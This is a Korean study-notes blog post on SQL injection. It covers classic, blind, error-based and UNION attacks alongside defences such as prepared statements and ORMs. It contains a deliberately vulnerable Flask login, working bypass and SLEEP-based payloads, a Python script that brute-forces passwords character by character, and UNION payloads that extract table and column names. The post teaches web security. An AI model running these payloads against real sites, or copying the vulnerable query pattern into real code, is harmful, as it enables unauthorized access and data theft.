[2025-07-11] SQL Injection
🦥 본문
정의
웹 애플리케이션의 입력값을 통해 SQL 쿼리를 조작하는 공격
예시
from flask import Flask, request
import mysql.connector
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
db = mysql.connector.connect(
host="localhost",
user="root",
password="password",
database="mydb"
)
cursor = db.cursor()
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
result = cursor.fetchone()
if result:
return "Login Success!"
else:
return "Login Failed"
if __name__ == "__main__":
app.run(debug=True)
위의 코드에서 username에 'OR 1=1 --
로 하게 된다면
SELECT * FROM users WHERE username= " OR 1=1 --'AND password= '[입력값]';
위와 같이 서버가 읽어드리게 된다. – 뒤로는 다 주석 처리가 되므로 로그인이 성공한다.
대응 방법
- Prepared Statements : 파라미터를 통한 바인딩 사용
await psql.query(`
SELECT CU.idx, CU.role, CM.interest_idx, CI.interest
FROM calenduck.login CL
JOIN calenduck.user CU
ON CL.idx = CU.login_idx
LEFT JOIN calenduck.manager CM ON CU.idx = CM.user_idx
LEFT JOIN calenduck.interest CI ON CM.interest_idx = CI.idx
WHERE CL.id = $1 AND CL.pw = $2
`, [id, pw]);
- ORM(Object-Relational Mapping) : SQL 직접 작성하지 않고 ORM 사용
- ORM : 객체와 데이터베이스의 테이블을 자동으로 연결해주는 기술
user = db.session.query(User).filter_by(id=user_id).first()
- 입력 값 검증 및 화이트 리스트 사용
- 오류 메시지 숨기기
- 권한 최소화
Blind SQL Injection
정의
공격자가 응답의 변화를 통해 간접적으로 SQL 결과를 추측하는 방식의 공격
종류
- Boolean-based Blind : 조건이 참/거짓일 때 페이지 내용이 달라지는지 비교
- Time-based Blind : 조건이 참이면 일부러 sleep() 등으로 서버 반응을 지연시킴
예시
아래와 같은 SQL문을 동작시키는 서버가 있다고 가정. Time-based Blind 방식 공격
SELECT * FROM users WHERE username = '{username}' AND password = '{password}'
- 비밀번호 길이 알아내기. 아래의 코드에서 LENGTH의 길이를 점점 늘려서 알아낸다.
admin' AND IF(LENGTH(password)=8, SLEEP(5), 0)--
- 길이를 알아냈다면 한 글자씩 알아내기. 맞다면 응답이 지연되기 때문에 이런 방식으로 비밀번호를 추론한다.
admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--
공격 스크립트 : Requset 모듈
- GET 방
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
- POST 방식
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
- GET 방식. 모든 문자열에 대한 Blind SQLi 실행
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
'uid': '',
'upw': ''
}
# ascii printables
tc = string.printable
# 사용할 SQL Injection 쿼리
query = '''admin' and substr(upw,{idx},1)='{val}'-- '''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
for ch in tc:
# query를 이용하여 Blind SQL Injection 시도
params['uid'] = query.format(idx=idx+1, val=ch).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
# 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
if c.text.find("Login success") != -1:
password += ch
break
print(f"Password is {password}")
Error Based SQLi
정의
SQL의 잘못된 문법이나 자료형 불일치 등에 의한 오류 메시지에 의존하여 수행되는 공격 기법
동작 흐름
- HTTP 요청
- 전달 받은 파라미터의 값을 SQL 쿼리에 대입
- SQL 쿼리 실행 요청
- 오류 메시지 반환
- DB 오류 메시지와 함께 HTTP 응답
- DB 정보 획득
- 데이터베이스 별 공격 기법은 다음 링크에서 알 수 있다.
https://www.bugbountyclub.com/pentestgym/view/53
Union Syntax
Union 기반의 공격 방법으로 다른 테이블의 공격도 가능하기 때문에 가장 위험한 공격 중 하나이다.
동작 방식
- ORDER BY 1은 첫번째 컬럼을 오름차순 정렬하여 출력하는 것. 뒤에 숫자를 점점 키워서 컬럼의 갯수를 알아낼 수 있다.
?idx=임의의 문자열'+UNION+ALL+SELECT+'a',+NULL,+NULL--+
?idx=임의의 문자열'+UNION+ALL+SELECT+NULL,+'a',+NULL--+
?idx=임의의 문자열'+UNION+ALL+SELECT+NULL,+NULL,+'a'--+
...
- 위의 코드를 사용해서 만약 에러가 발생하지 않는다면 해당 컬럼은 문자열을 받을 수 있는 것 에러가 발생한다면 다른 타입
- 데이터베이스명을 반환하는 database() 함수
?idx=임의의 문자열'+UNION+ALL+SELECT+database(),2,3--+
- 모든 테이블 이름 추출을 하는 group_concat(table_name) 함수
?idx=임의의 문자열'+UNION+ALL+SELECT+group_concat(table_name),2,3+FROM+information_schema.TABLES+WHERE+table_schema=database()--+
+information_schema.TABLES 는 모든 DB의 테이블 정보를 저장하는 시스템 테이블
WHERE+table_schema=database()는 현재 DB의 테이블들만 조회
- 컬럼 추출
- group_concat(column_name)은 지정한 테이블의 모든 컬럼 이름을 콤마로 연결하여 반환.
?idx=임의의 문자열'+UNION+ALL+SELECT+group_concat(column_name),2,3+FROM+information_schema.COLUMNS+WHERE+table_schema=database()+AND+table_name='테이블명'--+
위의 방법들로 다른 테이블을 알아내어 다른 테이블에 접근할 수 있다.
+https://www.bugbountyclub.com/pentestgym/view/54
Leave a comment